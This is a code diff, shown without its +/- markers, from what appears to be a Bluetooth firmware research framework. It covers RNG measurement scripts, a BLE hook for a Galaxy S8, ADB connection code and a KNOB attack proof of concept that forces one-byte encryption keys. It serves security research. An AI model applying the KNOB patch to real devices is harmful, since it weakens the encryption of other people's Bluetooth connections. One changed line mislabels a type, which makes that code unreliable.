import os
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
"""
Measure the RNG of the Raspberry Pi 3.
@@ -38,6 +38,7 @@ MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes)
FUN_RNG = 0x6672A # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
@@ -121,31 +122,41 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
#adb.process(["su", "-c", "svc wifi disable"])
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -154,8 +165,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -163,20 +172,23 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
## enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -187,29 +199,29 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("rpi3p-randomdata-%irounds.bin" % rounds, "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
internalblue._teardownSockets()
+38 -27
View File
@@ -2,16 +2,16 @@
# Jiska Classen, Secure Mobile Networking Lab
import os
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
"""
Measure the RNG of the Raspberry Pi 3.
@@ -118,31 +118,41 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
#adb.process(["su", "-c", "svc wifi disable"])
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -151,8 +161,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -160,19 +168,23 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
## enter CLI
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -183,29 +195,28 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("raspi3p_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
+28 -29
View File
@@ -3,22 +3,19 @@
# Jiska Classen
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
import sys
from argparse import Namespace
from pwnlib.asm import asm
import internalblue.hci as hci
from builtins import range
from internalblue.adbcore import ADBCore
from internalblue.cli import InternalBlueCLI
from internalblue.utils.packing import u8, u16
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
internalblue = ADBCore(serial=True)
device_list = internalblue.device_list()
if len(device_list) == 0:
internalblue.logger.warn("No HCI devices connected!")
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
"""
# _connTaskRxDone has a Patchram position, S8 fixed almost everything in BLE, because
@@ -26,8 +23,8 @@ internalblue.interface = device_list[0][1] # just use the first device
# The base address is 0x5E324, and this will jump into the Patchram.
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
"""
# RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
# RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
#RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
#RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
RX_DONE_HOOK_ADDRESS = 0x134514 # on S8 with Patchlevel September 1 2019 on stock ROM
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
@@ -79,26 +76,27 @@ ASM_HOOKS = """
//b 0x134504 // August 30 Nightly Build
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS + 4)
""" % (RX_DONE_HOOK_ADDRESS+4)
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
internalblue.logger.info("Installing hook patch...")
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
@@ -125,10 +123,10 @@ def lereceiveStatusCallback(record):
if len(data) < 239:
return
# if raspi or s8:
#if raspi or s8:
packet_curr_nesn_sn = u8(data[0xa0])
# elif eval:
#elif eval:
# packet_curr_nesn_sn = u8(data[0xa4])
packet_channel_map = data[0x54:0x7b]
@@ -137,12 +135,12 @@ def lereceiveStatusCallback(record):
packet_rssi = data[0]
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
internalblue.logger.info(" ^----------------------------- ERROR --------------------------------")
log.info(" ^----------------------------- ERROR --------------------------------")
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# internalblue.logger.debug(" ^----------------------------- MISSED -------------------------------")
# log.debug(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
@@ -163,17 +161,18 @@ def lereceiveStatusCallback(record):
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
internalblue.logger.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to display statistics.")
log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")
# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
cli.commandLoop(internalblue)
+40 -37
View File
@@ -1,19 +1,10 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwnlib.asm import asm
from internalblue import Address, hci
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.cli import InternalBlueCLI, auto_int
from internalblue.utils.packing import p16, u16
from internalblue.utils.pwnlib_wrapper import log, asm
"""
This is a standalone PoC for the KNOB attack on a Samsung Galaxy S8.
@@ -25,15 +16,17 @@ This PoC is much shorter since it only modifies global variables for key entropy
"""
internalblue = ADBCore(serial=True)
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
@@ -42,24 +35,33 @@ internalblue.patchRom(Address(0x530F6), patch)
# modify global variable for own setting
internalblue.writeMem(0x255E8F, b'\x01') # global key entropy
internalblue.logger.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Debugs which key length is currently active within a connection handle."""
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
@@ -74,19 +76,20 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
cli.commandLoop(internalblue)
+41 -32
View File
@@ -3,16 +3,15 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from time import sleep
import numpy as np
from pwnlib import adb
from pwnlib.asm import asm
import internalblue.hci as hci
from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.cli import InternalBlueCLI
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
"""
Measure the RNG of the Nexus 6.
@@ -115,31 +114,40 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = ADBCore(log_level='info', serial=True)
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -148,8 +156,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -157,23 +163,24 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.info("Random data done!")
log.info("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# enter CLI
# cli.commandLoop(internalblue)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -183,13 +190,13 @@ while rounds > i:
continue
internalblue.rnd_done = False
sleep(2) # FIXME
sleep(2) # FIXME
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
@@ -197,20 +204,22 @@ pos = 0
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.error("!!!! data was corrupted !!! %i" % pos)
log.error("!!!! data was corrupted !!! %i" % pos)
# uhm and for deleting every 5th let's take numpy (oh why??)
# data = np.delete(data, np.arange(4, data.__len__(), 5))
#data = np.delete(data, np.arange(4, data.__len__(), 5))
# FIXME we didn't remove the 0x42 in this data set!! something is wrong here
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("s8_randomdata_pseudo-%irounds-reg0x%x-2s-corrected.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+1 -1
View File
@@ -25,7 +25,7 @@ BluetoothAddress = NewType("BluetoothAddress", bytes)
ConnectionDict = NewType("ConnectionDict", Dict[str, Any])
HeapInformation = NewType("HeapInformation", Dict[str, Any])
QueueInformation = NewType("QueueInformation", Dict[str, Any])
MemoryPool = NewType("MemoryPool", Dict[str, Any])
QueueInformation = NewType("MemoryPool", Dict[str, Any])
try:
+127 -92
View File
@@ -1,25 +1,25 @@
#!/usr/bin/env python2
import struct
import threading
from time import sleep
from typing import Optional
from future import standard_library
from pwnlib import adb
from pwnlib.exception import PwnlibException
standard_library.install_aliases()
from builtins import str
import datetime
import socket
import queue as queue2k
import random
from internalblue import hci
from internalblue.utils import bytes_to_hex
from ppadb.device import Device
from ppadb.connection import Connection
from ppadb.client import Client as AdbClient
from . import hci
from .utils import bytes_to_hex
from .utils.packing import u32
from internalblue.utils.pwnlib_wrapper import log, context, u32
from .core import InternalBlue
standard_library.install_aliases()
class ADBCore(InternalBlue):
@@ -28,6 +28,7 @@ class ADBCore(InternalBlue):
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils="True",
serial=False,
data_directory=".",
replay=False,
@@ -36,18 +37,13 @@ class ADBCore(InternalBlue):
queue_size,
btsnooplog_filename,
log_level,
fix_binutils,
data_directory,
replay,
)
# Connect to adb device
self.hciport: Optional[int] = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
self.doublecheck = False
self.client = AdbClient(host="127.0.0.1", port=5037)
def device(self) -> Device:
return self.client.device(self.interface)
def device_list(self):
"""
@@ -58,16 +54,16 @@ class ADBCore(InternalBlue):
self.shutdown()
if self.running:
self.logger.warning("Already running. call shutdown() first!")
log.warn("Already running. call shutdown() first!")
return []
if self.replay:
return [(self, "adb_replay", "adb: ReplayDevice")]
# Check for connected adb devices
try:
adb_devices = self.client.devices()
adb_devices = adb.devices()
except ValueError:
self.logger.info(
log.info(
"Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`."
)
adb_devices = 0
@@ -75,19 +71,19 @@ class ADBCore(InternalBlue):
adb_devices = 0
if adb_devices == 0 or len(adb_devices) == 0:
self.logger.info("No adb devices found.")
log.info("No adb devices found.")
return []
# At least one device found
self.logger.info("Found multiple adb devices")
log.info("Found multiple adb devices")
# Enumerate over found devices and put them into an array of tuple
# Enumerate over found devices and put them into an array of tupple
# First index is a self reference of the class
# Second index is the identifier which is passed to connect()
# Third index is the label which is shown in options(...)
device_list = []
for d in adb_devices:
device_list.append((self, d.serial, "adb: %s (%s)" % (d.get_serial_no(), d.get_properties()['ro.product.model'])))
device_list.append((self, d.serial, "adb: %s (%s)" % (d.serial, d.model)))
return device_list
@@ -97,25 +93,28 @@ class ADBCore(InternalBlue):
device via adb and the debugging TCP ports.
"""
# Connect to adb device
context.device = self.interface
# setup sockets
# on magisk-rooted devices there is sometimes already a read socket and this first setup needs to be skipped...
if not self.serial:
if not self._setupSockets():
self.logger.info("Could not connect using Bluetooth module.")
self.logger.info(
log.info("Could not connect using Bluetooth module.")
log.info(
"Trying to set up connection for rooted smartphone with busybox installed."
)
else:
return True # successfully finished setup with bluetooth.default.so
if not self._setupSerialSu():
self.logger.critical("Failed to setup scripts for rooted devices.")
log.critical("Failed to setup scripts for rooted devices.")
return False
# try again
if not self._setupSockets():
self.logger.critical("No connection to target device.")
self.logger.info(
log.critical("No connection to target device.")
log.info(
"Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n"
)
return False
@@ -139,7 +138,7 @@ class ADBCore(InternalBlue):
u32(data[8:12], endian="big"),
u32(data[12:16], endian="big"),
)
self.logger.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
log.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
return btsnoop_hdr
def _btsnoop_parse_time(self, time):
@@ -169,20 +168,23 @@ class ADBCore(InternalBlue):
if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
"""
self.logger.debug("Receive Thread started.")
log.debug("Receive Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# Read the record header
record_hdr = b""
while not self.exit_requested and len(record_hdr) < 24:
try:
recv_data = self.s_snoop.recv(24 - len(record_hdr))
self.logger.debug(
log.debug(
"recvThreadFunc: received bt_snoop data "
+ bytes_to_hex(recv_data)
)
if len(recv_data) == 0:
self.logger.info(
log.info(
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread..."
)
self.exit_requested = True
@@ -193,7 +195,7 @@ class ADBCore(InternalBlue):
if not record_hdr or len(record_hdr) != 24:
if not self.exit_requested:
self.logger.warning("recvThreadFunc: Cannot recv record_hdr. stopping.")
log.warn("recvThreadFunc: Cannot recv record_hdr. stopping.")
self.exit_requested = True
break
@@ -211,7 +213,7 @@ class ADBCore(InternalBlue):
try:
recv_data = self.s_snoop.recv(inc_len - len(record_data))
if len(recv_data) == 0:
self.logger.info(
log.info(
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping.."
)
self.exit_requested = True
@@ -222,7 +224,7 @@ class ADBCore(InternalBlue):
if not record_data or len(record_data) != inc_len:
if not self.exit_requested:
self.logger.warning("recvThreadFunc: Cannot recv data. stopping.")
log.warn("recvThreadFunc: Cannot recv data. stopping.")
self.exit_requested = True
break
@@ -245,9 +247,9 @@ class ADBCore(InternalBlue):
parsed_time,
)
# self.logger.debug(
# "_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0])
# )
log.debug(
"_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0])
)
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
@@ -256,7 +258,7 @@ class ADBCore(InternalBlue):
try:
queue.put(record, block=False)
except queue2k.Full:
self.logger.warning(
log.warn(
"recvThreadFunc: A recv queue is full. dropping packets.."
)
@@ -266,12 +268,12 @@ class ADBCore(InternalBlue):
callback(record)
# Check if the stackDumpReceiver has noticed that the chip crashed.
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happened:
# A stack dump has happened!
# self.logger.warning("recvThreadFunc: The controller sent a stack dump.")
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend!
# log.warn("recvThreadFunc: The controller sent a stack dump.")
# self.exit_requested = True
self.logger.debug("Receive Thread terminated.")
log.debug("Receive Thread terminated.")
def _setupSockets(self):
"""
@@ -288,14 +290,22 @@ class ADBCore(InternalBlue):
self.hciport = random.randint(
60000, 65534
) # minus 1, as we are using hciport + 1
self.logger.debug(
log.debug(
"_setupSockets: Selected random ports snoop=%d and inject=%d"
% (self.hciport, self.hciport + 1)
)
# Forward ports 8872 and 8873. Ignore self.logger.info() outputs by the adb function.
self.device().forward(f"tcp:{self.hciport}", "tcp:8872")
self.device().forward(f"tcp:{self.hciport+1}", "tcp:8873")
# Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function.
saved_loglevel = context.log_level
context.log_level = "warn"
try:
adb.adb(["forward", "tcp:%d" % (self.hciport), "tcp:8872"])
adb.adb(["forward", "tcp:%d" % (self.hciport + 1), "tcp:8873"])
except PwnlibException as e:
log.warn("Setup adb port forwarding failed: " + str(e))
return False
finally:
context.log_level = saved_loglevel
# Connect to hci injection port
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -303,7 +313,7 @@ class ADBCore(InternalBlue):
self.s_inject.connect(("127.0.0.1", self.hciport + 1))
self.s_inject.settimeout(0.5)
except socket.error:
self.logger.warning("Could not connect to adb. Is your device authorized?")
log.warn("Could not connect to adb. Is your device authorized?")
return False
# Connect to hci snoop log port
@@ -312,12 +322,15 @@ class ADBCore(InternalBlue):
self.s_snoop.settimeout(0.5)
# Read btsnoop header
if self._read_btsnoop_hdr() is None:
self.logger.warning("Could not read btsnoop header")
if self._read_btsnoop_hdr() == None:
log.warn("Could not read btsnoop header")
self.s_inject.close()
self.s_snoop.close()
self.s_inject = self.s_snoop = None
self.device().killforward_all()
context.log_level = "warn"
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
context.log_level = saved_loglevel
return False
return True
@@ -333,16 +346,18 @@ class ADBCore(InternalBlue):
self.s_snoop.close()
self.s_snoop = None
saved_loglevel = context.log_level
context.log_level = "warn"
if self.hciport is not None:
hciport = self.hciport
self.device().killforward_all()
def _spawn(self, cmd: str):
conn: Connection = self.device().create_connection()
cmd = "exec:{}".format(cmd)
conn.send(cmd)
while True:
sleep(1)
try:
adb.adb(["forward", "--remove", f"tcp:{hciport}"])
adb.adb(["forward", "--remove", f"tcp:{hciport + 1}"])
except PwnlibException as e:
log.warn("Removing adb port forwarding failed: " + str(e))
return False
finally:
context.log_level = saved_loglevel
def _setupSerialSu(self):
"""
@@ -365,41 +380,61 @@ class ADBCore(InternalBlue):
# In sending direction, the format is different.
self.serial = True
# check dependencies
which_cmd = '''
echo $PATH | while read -d: directory; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
done
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
'''.format(name="su")
su_path = self.device().shell(f"sh -c '{which_cmd}'")
if su_path is None or len(su_path) == 0:
self.logger.critical("su not found, rooted smartphone required!")
saved_loglevel = context.log_level
context.log_level = "warn"
try:
# check dependencies
if adb.which("su") is None:
log.critical("su not found, rooted smartphone required!")
return False
if adb.process(["su", "-c", "which", "nc"]).recvall() == "":
log.critical("nc not found, install busybox!")
return False
# automatically detect the proper serial device with lsof
logfile = (
adb.process(
["su", "-c", "lsof | grep btsnoop_hci.log | tail -n 1 | awk '{print $NF}'"]
)
.recvall()
.strip()
.decode("utf-8")
)
log.info("Android btsnoop logfile %s...", logfile)
interface = (
adb.process(
